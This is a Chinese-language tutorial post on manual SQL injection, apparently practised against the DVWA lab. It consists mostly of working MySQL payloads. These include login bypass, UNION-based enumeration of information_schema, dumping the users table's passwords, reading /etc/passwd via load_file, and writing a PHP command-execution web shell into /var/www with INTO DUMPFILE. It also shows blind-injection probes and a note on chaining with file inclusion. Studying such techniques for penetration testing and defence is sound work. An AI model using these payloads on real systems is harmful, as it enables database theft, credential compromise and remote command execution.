kali linux之手动漏洞挖掘三（sql注入）

服务器端程序将用户输入作为参数作为查询条件，直接拼写sql语句，并将结果返回给客户端浏览器

如判断登录

select * from users where user='uname' and password='pass'

select * from users where user='name' and password="or"=''

基于报错的检测方法：

'       "    %

查看代码id那里有两个单引号，再插入一个单引号，带入查询了，就可以构造自定义的sql语句

基于布尔的检测：

1' and '1'='1或1' and '1

1'and'1'='2 或1' and '0

表列数/显示信息位于哪一列：

'order by 3--     #按查询列号排序（-- 注释符）

如果猜测不对会返回报错

猜到第二列没返回，说明在第二列

联合查询：

' union select 1,2--

查到对应信息后，查看db用户-----user()   db版本----version()  当前数据库---database()

函数@@datadir--数据库路径   @@hostname--主机名  @@version--数据库版本信息  @@version_compile_os--系统主机版本

查看数据库版本和用户

查看当前数据库

查看数据库路径

mysql数据结构------infomation_schema所有信息都在这个库里面

查看所有的库，和所有的表

' union select table_name,table_schema from information_schema.tables--

统计每个表中的数量

'union select table_schema,count(*) from information_Schema.tables group by table_schema--

查看dvwa库中的表名

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--

查看dvwa表中的所有列

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' and table_name='users'--

查询dvwa表中的user password列的内容

' union select user,password from dvwa.users--

读取文件

' union select null,load_file('/etc/passwd')--

写入文件（写入木马什么的,前提是要有www目录的写权限）

' union select null,"<?php passthru($_GET['cmd']);?>" into dumpfile"/var/www/xxsec.php"--

然后执行命令

如果没有权限的话，可以配合文件包含漏洞，把文件写到tmp目录下，利用文件包含来执行命令

sql盲注

不显示数据库内建的报错信息，报错信息提供关于系统的大量有用信息

当报错信息隐藏了，或者替换为通用的错误提示，sql注入无法根据报错信息判断语句的执行结果，即盲

思路：无法基于报错结果判断，那就基于逻辑真假的不同结果来判断

1' and 1=1-- （结果为真，返回执行了）

1' and 1=2--（结果为假的时候，没有任何返回，说明逻辑语句被执行了）

1' order by 2-- 查询有两个字段

1' union select 1,2-- 联合查询

1' and 1=0 union select null,table_name from information_schema.tables--

1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'--

友情链接 http://www.cnblogs.com/klionsec

http://www.cnblogs.com/l0cm

http://www.cnblogs.com/Anonyaptxxx

http://www.feiyusafe.cn